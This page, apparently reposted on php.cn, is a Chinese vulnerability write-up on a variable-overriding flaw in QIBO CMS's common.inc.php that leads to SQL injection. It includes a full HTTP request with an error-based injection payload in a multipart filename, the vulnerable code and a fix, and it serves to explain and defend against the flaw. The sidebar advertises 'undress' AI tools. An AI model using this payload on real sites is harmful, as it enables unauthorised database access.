ホームページ php教程 php手册 QIBO CMS /inc/common.inc.php Local Variables Overriding Vul

QIBO CMS /inc/common.inc.php Local Variables Overriding Vul

Jun 06, 2016 pm 07:48 PM
cms

目录 1 . 漏洞描述 2 . 漏洞触发条件 3 . 漏洞影响范围 4 . 漏洞代码分析 5 . 防御方法 6 . 攻防思考 1. 漏洞描述 齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入 " 本地变量

目录

<span>1</span><span>. 漏洞描述
</span><span>2</span><span>. 漏洞触发条件
</span><span>3</span><span>. 漏洞影响范围
</span><span>4</span><span>. 漏洞代码分析
</span><span>5</span><span>. 防御方法
</span><span>6</span>. 攻防思考
ログイン後にコピー

 

1. 漏洞描述

齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入<span>"</span><span>本地变量覆盖</span><span>"</span>、<span>"</span><span>本地变量未初始化</span><span>"</span><span>的安全风险
齐博CMS中的漏洞文件</span>/inc/common.inc.php使用 @extract($_FILES, EXTR_SKIP)来注册$_FILES的各变量,使用EXTR_SKIP来控制不覆盖已存在的变量。利用一个末初始化的变量覆盖漏洞,即可导致sql注入漏洞
ログイン後にコピー

Relevant Link:

http:<span>//</span><span>bbs.qibosoft.com/read-forum-tid-422299.htm</span>
ログイン後にコピー


2. 漏洞触发条件

0x1: 攻击入口

构造$_FILE的变量覆盖构造覆盖$cidDB变量,POST给/member/comment.php

<span>1</span>. 首先访问/member下面的<span>"</span><span>评论管理</span><span>"</span><span>功能,抓包

</span><span>2</span><span>. 在http request中构造一个attachment,如下:
</span><span>/*</span><span>
POST /qibo/member/comment.php?job=yz&yz=0 HTTP/1.1  
Host: 127.0.0.1  
Proxy-Connection: keep-alive  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,</span><span>*/</span>*;q=<span>0.8</span><span>  
User</span>-Agent: Mozilla/<span>5.0</span> (Windows NT <span>6.1</span>; WOW64) AppleWebKit/<span>537.36</span> (KHTML, like Gecko) Chrome/<span>28.0</span>.<span>1500.95</span> Safari/<span>537.36</span> SE <span>2</span>.X MetaSr <span>1.0</span><span>  
Referer: http:</span><span>//</span><span>127.0.0.1/qibo/member/comment.php?job=work  </span>
Accept-<span>Encoding: gzip,deflate,sdch  
Accept</span>-Language: zh-CN,zh;q=<span>0.8</span><span>  
Cookie: PHPSESSID</span>=<span>jo9rpav7l51iakidv01vr9fem1;   
passport</span>=<span>1</span>%09admin%09ClAKVgsEBglUAwcFUgRTDgRRCF9XUAZXBAcAVQIHBlc%3D94606de1fd; USR=fvqnvbj3%<span>0922</span>%<span>091425969668</span>%09http%3A%2F%2F127.<span>0.0</span>.<span>1</span>%2Fqibo%2Fmember%2Fcomment.php%3Fjob%<span>3Dwork  
Content</span>-Type: multipart/form-<span>data;   
boundary</span>=----<span>WebKitFormBoundary6ukpBHoIrpHKtOkl  
Content</span>-Length: <span>227</span>  
   
------<span>WebKitFormBoundary6ukpBHoIrpHKtOkl  
Content</span>-Disposition: form-data; name=<span>"</span><span>cidDB</span><span>"</span>; filename=<span>"</span><span>1' and EXP(~(select * from(select user())a)) -- </span><span>"</span><span>  
Content</span>-Type: text/<span>plain  
   
</span><span>1111</span>  
------WebKitFormBoundary6ukpBHoIrpHKtOkl--
*/<span>
注意将原来的URL上的cidDB[]</span>=<span>x删除掉;
然后构造一个文件上传的报文(GET改为POST方法)
在filename处填入注入的payload

</span><span>3</span><span>. 提交该数据包,即可注入成功
</span><span>//</span><span>这次的变量覆盖是抓住了extract的EXTR_SKIP只检查已经存在的变量,但是有些没有声明的变量还是会被覆盖</span>
ログイン後にコピー

Relevant Link:

http:<span>//</span><span>bobao.360.cn/learning/detail/291.html</span>
ログイン後にコピー


3. 漏洞影响范围

齐博所有系统、所有版本


4. 漏洞代码分析

\qibo\inc\common.inc.php

<span>/*</span><span>
全局变量文件对GPC变量的过滤
从代码中可以看淡,通过$_FILE传的值,POST的内容受GPC影响,因此只能利用$_FILE变量的$key绕过add_S函数
这里,$_FILS在传递参数时,是数组形式,因此可以默认使用$_FILES的$key去覆盖
</span><span>*/</span><span>
$_POST</span>=<span>Add_S($_POST);
$_GET</span>=<span>Add_S($_GET);
$_COOKIE</span>=<span>Add_S($_COOKIE);

function Add_S($array)
{
    </span><span>foreach</span>($array <span>as</span> $key=><span>$value)
    {
        </span><span>if</span>(!<span>is_array($value))
        {
            $value</span>=str_replace(<span>"</span><span></span><span>"</span>,<span>"</span><span>& # x</span><span>"</span>,$value);    <span>//</span><span>过滤一些不安全字符</span>
            $value=preg_replace(<span>"</span><span>/eval/i</span><span>"</span>,<span>"</span><span>eva l</span><span>"</span>,$value);    <span>//</span><span>过滤不安全函数</span>
            !get_magic_quotes_gpc() && $value=<span>addslashes($value);
            $array[$key]</span>=<span>$value;
        }
        </span><span>else</span><span>
        {
            $array[$key]</span>=<span>Add_S($array[$key]); 
        }
    }
    </span><span>return</span><span> $array;
}

</span><span>if</span>(!ini_get(<span>'</span><span>register_globals</span><span>'</span><span>))
{
    @extract($_FILES,EXTR_SKIP);
}

</span><span>foreach</span>($_COOKIE AS $_key=><span>$_value)
{
    unset($$_key);
}
</span><span>foreach</span>($_POST AS $_key=><span>$_value)
{
    </span>!ereg(<span>"</span><span>^\_[A-Z]+</span><span>"</span>,$_key) && $$_key=<span>$_POST[$_key];
}
</span><span>foreach</span>($_GET AS $_key=><span>$_value)
{
    </span>!ereg(<span>"</span><span>^\_[A-Z]+</span><span>"</span>,$_key) && $$_key=<span>$_GET[$_key];
}</span>
ログイン後にコピー


5. 防御方法

\qibo\inc\common.inc.php

<span>if</span>(!ini_get(<span>'</span><span>register_globals</span><span>'</span><span>))
{
    $array </span>= array(<span>'</span><span>Filedata</span><span>'</span>,<span>'</span><span>postfile</span><span>'</span>,<span>'</span><span>upfile</span><span>'</span>,<span>'</span><span>fileData</span><span>'</span>,<span>'</span><span>Filedata</span><span>'</span><span>);
    </span><span>foreach</span>($array AS $key=><span>$value)
    {
        is_array($_FILES[$value]) </span>&& $$value =<span> $_FILES[$value];
    }
}</span>
ログイン後にコピー


6. 攻防思考

Copyright (c) 2014 LittleHann All rights reserved

 

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

PHP フレームワークと CMS の統合: テクノロジー統合の無限の可能性 PHP フレームワークと CMS の統合: テクノロジー統合の無限の可能性 Jun 01, 2024 pm 05:16 PM

PHP フレームワークと CMS の統合によってもたらされる利点は、1. 開発効率の向上、2. セキュリティの強化、3. コンテンツ管理の簡素化、4. 柔軟性です。実際のケースでは、Laravel フレームワークを WordPressCMS と統合して、カスタマイズされた機能を備えたブログ Web サイトを作成しました。統合手順には、Laravel アプリケーションの作成、WordPress のインストール、WordPress の構成、コントローラーの作成、ルーティングの定義、WordPress データの取得が含まれます。 Laravel ビューのデータ表示。

金融Webサイト開発のためのPHP CMSシステムの使用方法 金融Webサイト開発のためのPHP CMSシステムの使用方法 Aug 25, 2023 am 10:06 AM

インターネットの普及と発展に伴い、金融 Web サイトの重要性がますます高まっています。金融ウェブサイトは、金融業界の事業開発、マーケティング、ブランド構築などにおいて決定的な役割を果たしています。現在、CMS システムの人気と成熟に伴い、Web サイト開発に CMS システムの使用を選択する企業が増えています。この記事では、金融 Web サイトの開発における PHPCMS システムの使用方法に焦点を当てます。 1. CMSシステムを理解する CMSシステムとはコンテンツマネジメントシステムの略称で、コンテンツを短期間で作成できるシステムのことです。

Java を使用して CMS システムのデータ同期モジュールを作成する方法 Java を使用して CMS システムのデータ同期モジュールを作成する方法 Aug 08, 2023 pm 11:49 PM

Java を使用して CMS システムのデータ同期モジュールを作成する方法 はじめに: 情報化時代の発展とインターネットの普及に伴い、コンテンツ管理システム (CMS) はあらゆる分野で広く使用されています。さまざまなユーザー グループ間でのコンテンツ管理には複数のデータ ソースの同期が必要であり、そのためには効率的で信頼性の高いデータ同期モジュールが必要です。この記事では、Java を使用して CMS システムのデータ同期モジュールを作成する方法を紹介し、関連するコード例を示します。 1. 概要 データの同期とは、複数のデータ ソース間でのデータの転送を指します。

Imperial CMS ディレクトリの場所が明らかになりました Imperial CMS ディレクトリの場所が明らかになりました Mar 12, 2024 pm 10:33 PM

Empire CMS ディレクトリの場所が明らかになります。特定のコード サンプルが必要です。Empire CMS (EmpireCMS) は、広く使用されているオープン ソース コンテンツ管理システムです。その柔軟性と機能の豊富さは、ユーザーに愛されています。 Web サイトの開発プロセスでは、Empire CMS のディレクトリ構造とファイルの場所を理解することが重要です。これは、開発者が Web サイトのコンテンツと機能をより適切に管理できるようにするためです。この記事では、Empire CMS のディレクトリの場所を明らかにし、読者がこのコンテンツ管理システムについてより深く理解できるように具体的なコード例を示します。 1.基本的なディレクトリ構造

Javaを使用してCMSシステムの画像透かし機能を実装する方法 Javaを使用してCMSシステムの画像透かし機能を実装する方法 Aug 27, 2023 am 11:27 AM

Java を使用して CMS システムの画像透かし機能を実装する方法 要約: CMS システムに画像透かし機能を追加すると、画像の改ざんや盗難を効果的に防ぐことができます。この記事では、Java を使用して CMS システムの画像透かし機能を実装する方法とコード例を紹介します。はじめに インターネットの普及とデジタルカメラの普及に伴い、写真の盗難や改ざんが一般的な問題となっています。画像の著作権を保護するために、多くの CMS システムでは画像の透かし機能が追加されます。画像の透かし入れは、画像に特定の情報を追加する技術です。

PHPcms 列キャッシュ ストレージ パスが明らかになりました PHPcms 列キャッシュ ストレージ パスが明らかになりました Mar 14, 2024 pm 03:18 PM

PHPcms は、Web サイト開発で広く使用されている強力なコンテンツ管理システムです。列キャッシュは PHPcms の重要な機能であり、Web サイトのアクセス速度を向上させ、サーバーの負荷を軽減できます。この記事では、PHPcms 列キャッシュのストレージ パスを明らかにし、具体的なコード例を示します。 1. 列キャッシュとは何ですか? 列キャッシュとは、Web サイトの列コンテンツから静的ファイルを生成し、指定したパスに保存することを指します。ユーザーが列にアクセスすると、毎回動的にページを生成するのではなく、静的ファイルが直接読み込まれます。 。これ

PHPcms を他のシステムと統合するための実践的なヒント PHPcms を他のシステムと統合するための実践的なヒント Mar 15, 2024 am 08:18 AM

PHPcms を他のシステムと統合するための実践的なヒント インターネット技術の継続的な発展に伴い、Web サイト開発の分野はより多様かつ複雑になってきました。実際のプロジェクトでは、異なるシステムを統合する必要がある状況に直面することが多く、これらの問題を解決するには一定のスキルと経験が必要です。この記事では、開発者が課題にうまく対処できるように、PHPcms システムと他のシステムを統合するための実践的なヒントと具体的なコード例を紹介します。 1. 統合の基本原則 システム統合を行う際には、まず以下のことが必要です。

PHPcms のメンテナンス終了による影響と対応 PHPcms のメンテナンス終了による影響と対応 Mar 14, 2024 am 11:12 AM

PHPcms がメンテナンスを停止する場合の影響と対応. インターネット技術の継続的な発展に伴い、Web サイトの構築は多くの企業や個人にとって不可欠なツールとなっています。ウェブサイト構築においてはコンテンツ管理システム(CMS)が重要な役割を果たしており、よく使われるCMSツールとしてかつてはPHPcmsが非常に普及していました。しかし、時間の経過とともに、PHPcms バージョンの更新とメンテナンスは徐々に減少したり、メンテナンスが停止されたりするため、ユーザーや開発者に一連の影響が生じます。この記事では、PHPcms のメンテナンス外の影響を調査し、

See all articles